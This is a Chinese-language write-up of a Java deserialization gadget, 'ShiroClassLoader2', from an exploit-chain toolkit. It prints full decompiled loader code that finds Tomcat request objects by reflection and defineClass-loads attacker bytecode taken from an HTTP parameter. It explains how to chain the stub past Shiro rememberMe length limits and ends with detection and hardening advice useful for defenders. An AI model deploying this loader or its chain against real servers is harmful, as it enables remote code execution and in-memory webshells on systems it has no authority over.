- 类别:bytecode 别名:— 优先级:—
- 作者:SummerSec
- 依赖:无第三方 Maven 依赖(运行期利用目标 Web 容器自带的
org.apache.shiro.codec.Base64与 Tomcat/Coyote 内部结构)
这是一个字节码 sink(END)构件:invoke 不向内层对象套壳,而是直接产出一段 byte[] 恶意类字节码。该字节码模板类 ShiroClassLoaderBytecode2 一旦被目标加载(通常经 TemplatesImpl / defineClass 触发其 static {} 静态块),会遍历当前 Web 容器的 HTTP 工作线程、反射取回当前请求对象、读取一个指定名字的请求参数、把参数里的 Base64 字节码解码后再用 ClassLoader.defineClass 加载执行。
其定位是「字节码分离加载」:Shiro rememberMe 等反序列化入口对 payload 长度有实际限制,无法直接塞入体积较大的最终 payload(内存马 / 回显类)。因此本 gadget 只作为一个短小的加载器 stub 进入受限的反序列化载荷,真正体积大的目标字节码则通过一次普通 HTTP 请求的参数「分离」投递,由 stub 在服务端二次 defineClass 装载——从而绕过长度限制。
- 入口
tags:Bytecode、Spring、ENDBytecode:本构件产出的是类字节码(byte[]),占据整链中「字节码源」槽位(与Exec、ReverseShell等同槽),由上游 BytecodeConvert 装入TemplatesImpl后交容器加载。Spring:标记其运行环境面向 Spring / Tomcat(Coyote)Web 容器——静态块中的反射路径依赖 Tomcat 的请求处理结构。END:链尾终止标签,本构件自身即最终产物,其后不再有更内层 gadget。
- 衔接
nextTags:(无)——作为链尾 sink,不再向下衔接。 excludes:(无)。
@GadgetTags(tags={"Bytecode", "Spring", "END"})
@GadgetAnnotation(name="Shiro下字节码分离加载2",
description="适用于Shiro环境下字节码长度限制, POST传入字节码参数时,需要对base64字符串进行url编码",
authors={"SummerSec"})
public class ShiroClassLoader2 implements Gadget {
@Param(name="请求参数名")
public String param = "data";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(ShiroClassLoaderBytecode2.class);
javassistHelper.modifyStringField("param", this.param); // 把模板类静态字段 param 改写为用户指定的请求参数名
return javassistHelper.getBytecode(); // 返回改写后的类字节码
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // 推进链协议(本 gadget 为源,返回值被丢弃,仅用于完成链构建/上下文传递)
return this.getObject();
}
}要点:
- 外壳极薄。
invoke走一遍chain.doCreate(context)履行链协议后,直接返回getObject()的字节码——没有把内层对象包进任何数据结构,因为它本身就是链尾字节码源。 getObject通过JavassistHelper加载模板类ShiroClassLoaderBytecode2的 class 文件,调用modifyStringField("param", this.param)把模板里public static String param;字段的初值改写为攻击者选定的请求参数名(默认data),再getBytecode导出字节码。JavassistHelper(com.ar3h.chains.common.util.JavassistHelper,工程内部工具类,其源码不在 反编译范围内)的职责即「以 Javassist 加载指定类 → 修改其常量 / 字段 → 导出byte[]」,是本仓库所有字节码模板 gadget 的通用改写器。
真正的利用逻辑在被投递的类里。该类被 defineClass + newInstance()(由 TemplatesImpl 机制触发)后,其 static {} 执行如下(变量名为 CFR 反编译原样):
public class ShiroClassLoaderBytecode2 {
public static String param; // 被 JavassistHelper 改写为实际请求参数名
private static Object getFV(Object var0, String var1) throws Exception { // 反射逐层向上读私有字段
Field var2 = null;
for (Class<?> var3 = var0.getClass(); var3 != Object.class; var3 = var3.getSuperclass()) {
try { var2 = var3.getDeclaredField(var1); break; }
catch (NoSuchFieldException var5) { continue; }
}
if (var2 == null) throw new NoSuchFieldException(var1);
var2.setAccessible(true);
return var2.get(var0);
}
static {
try {
String var3 = null;
boolean var5 = false;
Thread[] var6 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads"); // ① 取线程组全部线程
block4: for (int var7 = 0; var7 < var6.length; ++var7) {
Thread var8 = var6[var7];
String var2; Object var1;
// ② 只挑 HTTP 工作线程:名字含 "http"、不含 "exec",且 target 为 Runnable
if (var8 == null || (var2 = var8.getName()).contains("exec")
|| !var2.contains("http")
|| !((var1 = getFV(var8, "target")) instanceof Runnable)) continue;
try {
// ③ target.this$0 → handler → global,深入 Coyote 协议处理器
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
} catch (Exception var18) { continue; }
List var10 = (List) getFV(var1, "processors"); // ④ global.processors:请求处理器列表
for (int var11 = 0; var11 < var10.size(); ++var11) {
Object var12 = var10.get(var11);
var1 = getFV(var12, "req"); // ⑤ Coyote Request
Object var4 = var1.getClass().getMethod("getResponse", new Class[0]).invoke(var1, new Object[0]);
Object var13 = var1.getClass().getMethod("getNote", Integer.TYPE).invoke(var1, new Integer(1)); // ⑥ note(1)=Catalina Request
var3 = (String) var13.getClass().getMethod("getParameter", String.class).invoke(var13, param); // ⑦ 读取指定参数
if (var3 != null && !var3.isEmpty()) {
byte[] var14 = Base64.decode((String) var3); // ⑧ Base64 解码(整串,含类文件头)
Method var15 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var15.setAccessible(true);
Class var16 = (Class) var15.invoke(ShiroClassLoaderBytecode2.class.getClassLoader(),
var14, new Integer(0), new Integer(var14.length)); // ⑨ defineClass
var16.newInstance().equals(var13); // ⑩ 实例化被载类,并把 request 传给它
var5 = true;
}
if (var5) continue block4;
}
}
} catch (Exception exception) {
// empty catch block —— 反射路径不匹配时静默失败,不影响原始反序列化流程
}
}
}逐段说明:
- ①–② 定位 HTTP 处理线程:从当前线程组反射取出
threads数组,筛掉名字含exec的线程(避开异步执行线程池),只保留名字含http且target为Runnable的 Tomcat NIO/BIO 工作线程。这是「无依赖、跨请求」内存马 / 回显的经典手法——不通过RequestContextHolder,而是直接从线程栈找请求。 - ③–④ 钻取 Coyote 内部:
target.this$0(工作线程Runnable的外部类实例)→handler→global,拿到AbstractProtocol的RequestGroupInfo(global),再取其processors列表。 - ⑤–⑦ 取当前请求与参数:对每个 processor 反射取
req(CoyoteRequest);getNote(1)取出挂在 note 槽位 1 的 Catalinaorg.apache.catalina.connector.Request,对其调用getParameter(param)读取攻击者用param命名的请求参数值(即分离投递的字节码 Base64 串)。 - ⑧–⑩ 二次装载:
org.apache.shiro.codec.Base64.decode解码后,反射调用ClassLoader.defineClass(byte[], 0, len)把攻击者的完整字节码定义为类,newInstance()实例化触发其构造逻辑,并把 Catalina request 对象通过.equals(var13)传入——被载类通常在构造 /equals中拿到 request/response 完成命令回显或落地内存马。 - 异常吞并:整个静态块包在
try/catch内,任何环境不匹配都静默返回,保证承载它的反序列化链不因加载失败而抛栈暴露。
三、与 v1(ShiroClassLoader)的关键差异
两者 Gadget 外壳几乎相同(仅模板类不同)。差异只在模板静态块的第 ⑧ 步解码:
- v1(ShiroClassLoaderBytecode):
Base64.decode("yv66vg" + var3)—— 在服务端硬编码补上yv66vg(即类文件魔数CAFEBABE的 Base64 前缀)。因此攻击者投递参数时需去掉字节码开头的这段头部字符串,以「减少特征」。 - v2(ShiroClassLoaderBytecode2):
Base64.decode(var3)—— 不做任何前缀拼接,直接解码整串。因此攻击者需传入完整的 Base64 字节码(含头部);正如description所述,用 POST 传参时该 Base64 串需要额外进行 URL 编码(+/=等在表单体中会被误解析)。
| 字段 | 名称 | 说明 | 类型 | 默认值 | 可选值 |
|---|---|---|---|---|---|
param |
请求参数名 | 服务端 stub 读取「分离投递字节码」时使用的 HTTP 请求参数名;须与二次请求中携带 Base64 字节码的参数名一致 | String |
data |
—(自由填写) |
- 适用环境:Shiro(
rememberMe反序列化,存在 payload 长度限制)+ 底层为 Tomcat / Coyote 的 Spring Web 应用。静态块的反射路径(threads→target.this$0.handler.global.processors.req→getNote(1))严格依赖 Tomcat 内部结构,非 Tomcat 容器(Jetty/Undertow 等)不适用——那些环境应改用对应的 echo 构件。 - 依赖
org.apache.shiro.codec.Base64:解码用的是 Shiro 自带的 Base64,故目标 classpath 上须有 shiro-core(Shiro 环境天然满足)。 param名一致性:@Param.param会被写死进模板字节码,二次投递请求里承载 Base64 的参数名必须与之相同,否则第 ⑦ 步getParameter取不到值。- v2 需 URL 编码:POST 表单体中的 Base64 字节码串须整体 URL 编码,避免
+///=被容器错误解析而导致defineClass失败。 - JDK 限制:作为字节码源,通常经
TemplatesImpl装载,要求目标 JDK 版本支持TemplatesImpl加载路径(一般 JDK < 17;高版本需相应模块开放)。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可按标签手动组合:作为 tags=Bytecode 的字节码源,占据 Shiro 反序列化链中原本放 Exec 的槽位,例如
[CommonsBeanutils1, TemplatesImpl, BytecodeConvert, ShiroClassLoader2],即用「分离加载 stub」替换直接命令执行,绕过 Shiro payload 长度限制。
- 同族 / 上游装载:BytecodeConvert(把本构件产出的
byte[]装入 TemplatesImpl 载体)。 - v1 变体:ShiroClassLoader(服务端硬编码
yv66vg头,投递时去头以降特征;v2 传完整 Base64 但需 URL 编码)。 - 同槽位替代:
Exec、ReverseShell等其它tags=Bytecode的字节码源——本构件不同之处在于产出的是「分离加载器」而非直接命令执行。
- 检测特征(流量):
- Shiro
rememberMe反序列化流量之后,紧跟一次同名参数(默认data,或攻击者自定义)携带长 Base64 串的 HTTP 请求;v2 的该串通常经 URL 编码,解码后以yv66vg(CAFEBABE)开头,是完整.class文件的强指纹。 - 请求体中出现超长、以类文件魔数 Base64 起始的参数值,应视为字节码投递告警。
- Shiro
- 检测特征(运行期):
- 反射调用链
Thread.getThreadGroup().threads→getFV(... "handler"/"global"/"processors"/"req")→ClassLoader.defineClass的组合,是无依赖内存马 / 类加载器的典型行为;RASP 可对ClassLoader.defineClass的反射调用(setAccessible(true)后经Method.invoke)设点。 TemplatesImpl触发的动态类定义、来源不明的defineClass调用栈。
- 反射调用链
- 加固建议:
- 修复 Shiro 反序列化根因:升级 shiro,避免默认 / 泄露的
rememberMeAES 密钥,对反序列化入口做类白名单(ValidatingObjectInputStream/ 反序列化过滤jdk.serialFilter)。 - JVM 层:启用序列化过滤器阻断
TemplatesImpl、BeanComparator等跳板类;限制反射对ClassLoader.defineClass的可达性(SecurityManager已弃用场景下改用 RASP / JVMTI 钩子)。 - 容器层:对请求参数长度与内容做基线,异常超长 Base64 参数触发审计;监控 Web 工作线程内出现的非预期
defineClass。
- 修复 Shiro 反序列化根因:升级 shiro,避免默认 / 泄露的